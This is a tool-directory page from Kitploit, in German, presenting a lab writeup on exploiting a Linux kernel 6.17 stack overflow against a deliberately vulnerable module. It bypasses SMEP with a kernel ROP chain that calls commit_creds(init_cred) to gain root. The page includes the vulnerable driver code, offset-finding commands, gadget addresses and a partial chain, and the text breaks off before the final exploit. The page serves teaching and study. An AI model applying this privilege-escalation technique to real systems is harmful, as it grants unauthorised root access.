Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
kernel-krop-smep-bypass — Linux Kernel 6.17 Stack Overflow – SMEP-Bypass via kROP (Türkisches Writeup) | Kitploit
Tools/GitHubGitHub/exploitbey/kernel-krop-smep-bypass
Privilege EscalationSpeicherforensikExploitationReverse EngineeringShellcodeDebuggerPapers & ForschungLernen & BildungPayload-Entwicklung
Teilen
Binary-Exploitation
GitHubexploitbey/kernel-krop-smep-bypass

kernel-krop-smep-bypass

Linux Kernel 6.17 Stack Overflow – SMEP-Bypass via kROP (Türkisches Writeup)

Repository anzeigen
vor 3h 20mNoch nicht geprüft

Linux Kernel 6.17 — SMEP-Bypass mittels Stack Overflow: Die kROP-Technik

Autor: expo
Repo: https://github.com/exploitbey/kernel-krop-smep-bypass

In diesem Writeup wird untersucht, wie eine Kernel-Stack-Overflow-Schwachstelle auf Linux Kernel 6.17.0-5-generic ausgenutzt werden kann, bei dem SMEP und SMAP aktiv sind. Die klassische ret2user-Methode bleibt gegenüber diesem Schutz wirkungslos. Alternativ wird eine Kernel-ROP-(kROP-)Kette verwendet.

Andere Schutzmechanismen (KASLR, KPTI, Shadow Stack, Stack Canary) sind in dieser Umgebung deaktiviert; der Schwerpunkt liegt ausschließlich auf der SMEP-Bypass-Technik.


Lernen wir zuerst den Schutz kennen: Was ist SMEP?

SMEP (Supervisor Mode Execution Prevention) ist ein Schutzmechanismus auf Prozessorebene. Der Kernel kann keine Codes in Speicherseiten ausführen, die zum Userspace gehören. Das heißt, wenn Sie Shellcode in einen User-Puffer schreiben und den Kernel dorthin umleiten, unterbricht die CPU Sie sofort.

Das ist der Grund, warum das klassische ret2user stirbt.

Sie können über GDB bestätigen, dass SMEP und SMAP aktiv sind:

info register cr4

Wenn der Wert 0x372ef0 ist, in Binär umwandeln und die Bits ansehen:

0x372ef0 → 0011 0111 0010 1110 1111 0000

Von rechts nach links, beginnend bei Index 0:

BitgruppeBereichBedeutung
00000–3—
11114–7Bit 5=PAE, Bit 7=PGE
11108–11Bit 9=OSFXSR, Bit 10=OSXMMEXCPT
001012–15Bit 13=VMXE
011116–19Bit 16=FSGSBASE, Bit 17=PCIDE, Bit 18=OSXSAVE
001120–23Bit 20=SMEP ✓, Bit 21=SMAP ✓

Bit 20 gesetzt → SMEP aktiv. Die CPU blockiert die Ausführung von Code auf Ring-3-Seiten aus Ring 0.

Eine Anmerkung: Ab Kernel 5.16 ist das CR4-Register „gepinnt". Früher konnte das SMEP-Bit mit Gadgets im Stil von mov cr4, rax gelöscht werden. Jetzt ist diese Tür geschlossen. Aber das ist nicht wichtig, denn wir werden CR4 überhaupt nicht anfassen.


Laborumgebung

  • Host: Kali Linux 2025.4
  • Guest: Lubuntu 25.10, Kernel 6.17.0-5-generic (auf QEMU)

vmlinuz muss vom Guest zum Host kopiert werden. Nach dem Kopieren in vmlinux_raw umwandeln:

./extract-vmlinux vmlinuz > vmlinux_raw

Skript: https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

Voraussetzungen

  1. Der Kernel muss genau 6.17.0-5-generic sein (bei einer anderen Minor-Version ändert sich das Binary, die Gadget-Adressen stimmen nicht)
  2. SMEP und SMAP müssen aktiviert sein
  3. KASLR, KPTI, Shadow Stack und Stack Canary müssen deaktiviert sein

Die GRUB-Zeile im Gast:

GRUB_CMDLINE_LINUX_DEFAULT="nokaslr nopti ima_appraise=off ima_policy=tcb shstk=off"

QEMU-Startbefehl:

qemu-system-x86_64 \
  -m 4G \
  -enable-kvm \
  -cpu host \
  -drive file=lubuntu25.10-disk.qcow2,format=qcow2 \
  -vga qxl \
  -device virtio-serial-pci \
  -device virtserialport,chardev=spicechannel0,name=com.redhat.spice.0 \
  -chardev spicevmc,id=spicechannel0,name=vdagent \
  -display spice-app \
  -net nic -net user \
  -usb -usbdevice tablet \
  -vga virtio \
  -s -S

Starten Sie GDB auf dem Host, während das System bootet:

gdb ./vmlinux_raw
# ardından: continue

Verwundbare LKM

Quelle: rop.c

__attribute__((optimize(0)))
static ssize_t device_write(struct file *file, const char __user *buf,
                            size_t count, loff_t *ppos) {
    char tampon[64];
    // ZAFIYET: count kontrolsüz — 64+ byte gelince stack overflow
    if (_copy_from_user(tampon, buf, count)) {
        return -EFAULT;
    }
    return count;
}

Der Buffer ist auf 64 Byte festgelegt. _copy_from_user prüft nie, wie viele Bytes kopiert werden. Es genügt, selbst 65 Byte aus dem Benutzerbereich zu senden; der Kernel-Stack beginnt zu korrumpieren.

Einstiegspunkt des Exploits: /dev/vuln_device

Kompilieren und Laden

sudo su
make          # stack canary kapalı (Makefile'da -fno-stack-protector)
insmod rop.ko

Kopieren Sie anschließend rop.ko auf den Host (für GDB werden Symbolinformationen benötigt).


Stack Frame

x64-Aufrufkonvention: Das erste Argument ist RDI, das zweite RSI, das dritte RDX, das vierte RCX.

Wenn device_write aufgerufen wird, befindet sich die Rücksprungadresse rbp+8 auf dem Kernel-Stack. Unser Ziel ist es, diese Adresse unter Kontrolle zu bringen.


Ausnutzung

Schritt 1: Offset-Ermittlung

Das LKM wurde mit Debug-Symbolen kompiliert, daher werden wir es mit GDB ordnungsgemäß verfolgen.

Sehen Sie sich im Gast die Moduladressen an:

cat /proc/modules | grep rop
# rop 12288 0 - Live 0xffffffffc092f000 (OE)

cat /sys/module/rop/sections/.text   # 0xffffffffc092f000
cat /sys/module/rop/sections/.data   # 0xffffffffc0a15020
cat /sys/module/rop/sections/.bss    # 0xffffffffc0a15640

Drücken Sie im GDB auf dem Host Strg+C, um die Symbole zu laden:

add-symbol-file /path/to/rop.ko
0xffffffffc092f000 -s .data 0xffffffffc0a15020 -s .bss 0xffffffffc0a15640

Breakpoint vor und nach _copy_from_user:

b *0xffffffffc092f059
b *0xffffffffc092f05e
continue

Erstellen Sie mit Metasploit ein 88-Byte-Muster:

msf-pattern_create -l 88

Speichern Sie das Muster als payload.txt, senden Sie es mit find_offset:

gcc -o find_offset find_offset.c
./find_offset payload.txt

Der Kernel wird am Breakpoint anhalten. Notieren Sie sich in GDB den Inhalt von rbp+8. Am zweiten Breakpoint werden Sie sehen, dass rbp+8 mit dem Pattern gefüllt ist.

Berechnen Sie den Offset auf dem Host:

msf-pattern_offset -q 6341356341346341 -l 88
# [*] Exact match at offset 72

Die Rücksprungadresse wird ab dem 72. Byte geschrieben.


Schritt 2: ROP-Payload

Warum kann ROP SMEP umgehen? Weil ROP bereits vorhandenen Code im eigenen .text-Bereich des Kernels verwendet. Es führt keinen neuen Code aus. Es berührt den Userspace-Speicher überhaupt nicht. SMEP kann das nicht erkennen.

Save State

Speichern Sie die Userspace-Register vor iretq:

__asm__ volatile (
    ".intel_syntax noprefix;"
    "mov user_cs,     cs;"
    "mov user_ss,     ss;"
    "mov user_sp,     rsp;"
    "pushf;"
    "pop user_rflags;"
    ".att_syntax;"
    ::: "memory"
);

"memory" überschreibt kritisch: Wenn GCC diese Werte zwischenspeichert, wird der iretq-Frame beschädigt.

Gadget-Kette

payload[i++] = POP_RDI_RET;    // pop rdi ; ret
payload[i++] = INIT_CRED;      // → rdi = &init_cred (root kimlik bilgisi)
payload[i++] = COMMIT_CREDS;   // commit_creds(init_cred) → process root oldu
payload[i++] = SWAPGS_RESTORE; // swapgs → iretq'ya yönlendir

Warum gibt es kein prepare_kernel_cred? In Kernel 6.17 wurde kein sauberes Register-Transfer-Gadget wie mov rdi, rax ; ret gefunden. init_cred ist ohnehin eine statische Adresse, pop rdi; ret reicht aus. Auch das Payload bleibt klein: 144 Byte.

Gadget-Adressen:

commit_creds und init_cred:

cat /proc/kallsyms | grep commit_creds
# ffffffff8145b390 T commit_creds

cat /proc/kallsyms | grep init_cred
# ffffffff8388b860 T init_cred

pop rdi ; ret → Opcode \x5f\xc3

.text-Bereich:

Başlangıç : 0xffffffff81000000
Boyut      : 0x1637970
Bitiş      : 0xffffffff82637970
python3 find_opcode.py vmlinux_raw 5fc3

Die erste Ausgabe 0xffffffff812582bd → in GDB mit x/3i 0xffffffff812582bd verifizieren. Sauberes pop rdi; ret-Array.

swapgs + iretq → Opcodes: 0x0F 0x01 0xF8 und 0x48 0xCF

python3 find_swapgs.py vmlinux_raw

Das Skript gibt zwei Kandidaten zurück. 0xffffffff81001866 enthält zu viele Pops, der Stack wird beschädigt. Untersuchen Sie 0xffffffff8100118f:

0xffffffff8100118f: swapgs
0xffffffff81001192: verw WORD PTR [rip+...]   ← ZF'yi etkiler, GPR'ları bozmaz
0xffffffff81001199: test BYTE PTR [rsp+0x8], 0x3
0xffffffff8100119e: jne  0xffffffff81001241
Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    411
  • 4

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    KI-gestützte OSINT-Engine zur Entdeckung und Kartierung von über 7.700 Social-Media-Identitäten im gesamten Web

    275

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →